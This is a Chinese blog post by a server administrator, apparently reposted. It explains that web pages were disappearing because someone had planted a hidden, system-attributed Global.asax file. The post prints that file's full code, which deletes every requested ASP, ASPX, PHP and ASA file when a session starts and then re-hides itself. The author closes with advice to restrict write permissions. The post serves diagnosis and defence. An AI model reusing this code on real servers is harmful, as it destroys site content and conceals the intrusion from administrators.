网站服务器维护内容( 一台访问文件突然不存在了,花了些时间看了一下)
优采云 发布时间: 2022-04-03 15:01网站服务器维护内容(
一台访问文件突然不存在了,花了些时间看了一下)
网站注意权限问题-维护服务器后的视图
今天维护了某公司的网站服务器,但是access文件突然不见了。我花了一些时间来看看它。原因如下:
Global.asax 已更改为系统文件并隐藏。 .
文件内容如下:
Sub Session_Start(Sender As Object, E As EventArgs)
Dim MyFile,Path
Server.ScriptTimeout = 999999
'Response.Buffer = True
MyFile="//?/"+Server.MapPath("/")+"\global.asax"
'Response.write Neirong
'session.abandon'if Neirong"" then execute Neirong
Path=LCase(Request.ServerVariables("PATH_TRANSLATED"))
If InStr(Path, ".aspx") > 0 or InStr(Path, ".asp\") > 0 or InStr(Path, ".php") > 0 or InStr(Path, ".asax") > 0 or InStr(Path, ".asa") > 0 Then
'Response.Write " HTTP/1.1 500 Server Error" + vbCrlf
'Response.Write laik + vbCrlf
if File.Exists(Path) then
File.SetAttributes(Path,0)
File.delete(path)
end if
Response.End
End If
File.SetAttributes(Server.MapPath("/")+"\global.asax" ,7)
end sub
这些语句够硬,在访问 网站 之前删除一个页面。
所以,网站不能为主方便,设置整个目录的写权限,只设置指定目录的写权限。
发表于@2013-01-24 17:45真爱无限阅读(197)评论(0)编辑